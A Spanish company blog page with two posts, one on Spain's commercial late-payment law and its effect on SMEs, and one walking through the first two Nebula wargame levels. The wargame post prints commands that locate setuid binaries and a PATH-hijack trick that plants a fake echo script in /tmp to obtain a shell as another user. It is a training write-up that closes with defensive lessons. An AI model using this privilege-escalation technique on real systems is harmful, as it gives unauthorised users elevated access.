18 Nov 2014

La realidad de la ley de morosidad

La situación actual de la morosidad comercial afecta a las pymes en un 60%. A pesar de que el plazo medio de cobro para estas ha mejorado, se sigue situando en unos 20 días más de lo establecido por la ley. Existen algunos sectores especialmente afectados como son el de la construcción, que cuenta con un 41% de empresas que reconocen tener pagos pendientes. Aun así, este colectivo ha reducido su plazo medio de cobro en 4,9 días con respeto al trimestre anterior. En la legislación actual sobre morosidad está vigente la Ley 15/2010, que modificó a la Ley 3/2004 desde el día 7 de julio de 2010 y que establece, desde 2013, una serie de plazos máximos de pago en las operaciones que se realizasen desde un punto de vista comercial. Este periodo es de 60 días para las empresas privadas, aunque con una excepción para los productos de alimentación frescos y perecederos. Las administraciones públicas tienen 30 días, que comienzan a contabilizarse desde la entrega de los productos o servicios prestados.

ley de morosidadEn lo que respecta a la aplicación de la ley de morosidad, el marco regulatorio de esta se ve incumplido en muchas ocasiones, de manera que tanto pymes como autónomos han de tomar medidas preventivas para protegerse de morosos. Es cierto que en la ley se contempla la opción de reclamar intereses de demora e indemnizaciones por los posibles costes de cobros, pero en muchos casos no se solicitan por miedo a que se demore aún más el cobro.

El problema de la morosidad es que, en ocasiones, provoca que se agrave el desfase de liquidez y tesorería, situación que puede producir un cierre del propio negocio. Por ello, se hacen necesarias herramientas de gestión para reducir esta tendencia, como la Plataforma Multisectorial contra la Morosidad o la propia Ley de Morosidad, impulsadas por pymes y autónomos para hacer frente al problema y que los plazos de pago se asemejen a la Unión Europea.

Es cierto que existe un descenso de la morosidad en los últimos años. En el sector privado bajó durante 2013 hasta 85 días de media y en el público a 111, pero aún se mantiene en una tasa del 5,1%, cuando la media europea es del 2,6%. Como medidas de presión ante esta situación, el Gobierno ha legislado ya para el sector público y, en breve, lo hará para el sector privado con el Real Decreto 635/214 de 25 de julio, donde desarrolla la metodología de cálculo del periodo medio de pago a proveedores de las administraciones públicas. Según el ministro Montoro, se espera la aprobación de la normativa al respecto.

06 Nov 2014

Aprendiendo seguridad con Wargames

Uno de los comentarios que recibo a menudo cuando intento concienciar sobre seguridad es: “Es que la seguridad es muy difícil”. La verdad es que en ocasiones es así y resulta complicado entender los diferentes ataques que pueden realizar contra nuestras aplicaciones y sistemas.

Para mí, una de las formas de aprender conceptos complicados es a través de los juegos. Aunque la frase anterior suene a la típica que se le dice a los niños, se puede aplicar a los adultos. Y como ejemplo, me gustaría hablar de los conocidos como Wargames. Son retos de seguridad que deben ir superándose y que van aumentando de dificultad.

En esta serie de post, voy a comentar los resultados de un Wargame que está disponible en la web https://exploit-exercises.com/. En concreto voy a empezar por su colección de retos mas sencilla, Nebula. Para poder disfrutar de los retos, solo debemos descargarnos una máquina virtual y acceder con el usuario level00 y el password level00.

El funcionamiento es muy sencillo, cada nivel tiene dos usuarios levelXX y flagXX. Para superar un nivel, debemos ejecutar el comando “getflag” con los permisos del usuario flagXX. Para conseguir esto, deberemos aprovechar los diversos fallos de seguridad existentes en cada nivel.

Nebula Level00

Este primer nivel es introductorio y nos explica el funcionamiento de los retos. En el enunciado, nos dicen que tenemos que encontrar un ejecutable con el bit setuid activado y que sea propiedad del usuario flag00. Y como pista, nos dicen que miremos el “man” de find.

Pues allá que vamos, en el “man” pone que podemos buscar archivos filtrando por sus permisos con la opción -perm. Además, en la misma ayuda nos dan un ejemplo para buscar archivos con el bit setuid activado. Solo nos falta filtrar con grep para que solo nos muestre los que sean propiedad de flag00:

level00@nebula:~$ find / -perm 4000 -printf "%#m %u %p\n" 2>/dev/null \
| grep flag00
level00@nebula:~$ /bin/.../flag00 
flag00@nebula:~$ getflag
You have successfully executed getflag on a target account

Y con esto tendríamos solucionado el nivel 00.

Nebula Level01

Al igual que en el nivel anterior, nos debemos loguear con el usuario level01 y password level01. Como nos indican en el enunciado, el programa tiene una vulnerabilidad que permitiría ejecutar cualquier comando. Vamos a ver lo que hace el programa añadiendo comentarios a cada línea:

#There is a vulnerability in the below program that allows arbitrary 
#programs to be executed, can you find it?
#To do this level, log in as the level01 account with the password level01. 
#Files for this level can be found in /home/flag01.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  gid_t gid;   
  uid_t uid;   
  gid = getegid();   #Obtiene el grupo del propietario del archivo
  uid = geteuid();   #Obtiene el propietario del fichero

  setresgid(gid, gid, gid);   #Asigna los permisos del grupo level01 al binario
  setresuid(uid, uid, uid);   #Asigna los permisos de flag01 al binario

  system("/usr/bin/env echo and now what?"); #Ejecuta con permisos de flag01
}

 ¿Donde está el error? Aquí lo que nos hace sospechar es ese “/usr/bin/env”. El programa env pasa las variables de entorno a echo, que a su vez muestra por pantalla el texto “and now what?”. El hecho de que echo sea llamado de forma relativa y no con su ruta absoluta /bin/echo nos da la oportunidad de ejecutar lo que queramos.

La pregunta es, ¿cómo hace Linux para saber donde encontrar el binario echo? Lo que hace es mirar la variable de entorno PATH e ir buscando por orden en los diferentes directorios hasta que encuentre el binario. Pero, ¿qué pasaría si alteráramos la variable PATH para que por ejemplo busque primero en el directorio /tmp? ¿y si en el directorio /tmp existiera un archivo que se llamara echo?

El resultado es que ejecutaríamos el archivo /tmp/echo con permisos del usuario flag01. Pues vamos allá:

level01@nebula:~$ PATH=/tmp:$PATH    #Añadimos /tmp al PATH
level01@nebula:~$ vim /tmp/echo      #Creamos un script que llame a bash 
                                     # llamado echo  
    #!/bin/bash
    /bin/bash

level01@nebula:~$ chmod +x /tmp/echo    #Le damos permisos de ejecución
level01@nebula:~$ /home/flag01/flag01   #Lanzamos nuestro binario original
flag01@nebula:~$ getflag                # y obtenemos una shell de flag01
You have successfully executed getflag on a target account

 Este nivel nos deja dos recomendaciones de seguridad cuando se trata de scripts en bash:

  • Nunca confiar en los datos que nos proporcione el usario, como por ejemplo las variables de entorno.
  • Siempre utilizar rutas absolutas en los scripts.

En el próximo post veremos otros niveles y otras recomendaciones de seguridad.

 

David Lladró
Responsable de Seguridad en 
Datadec Online

[subscribe2]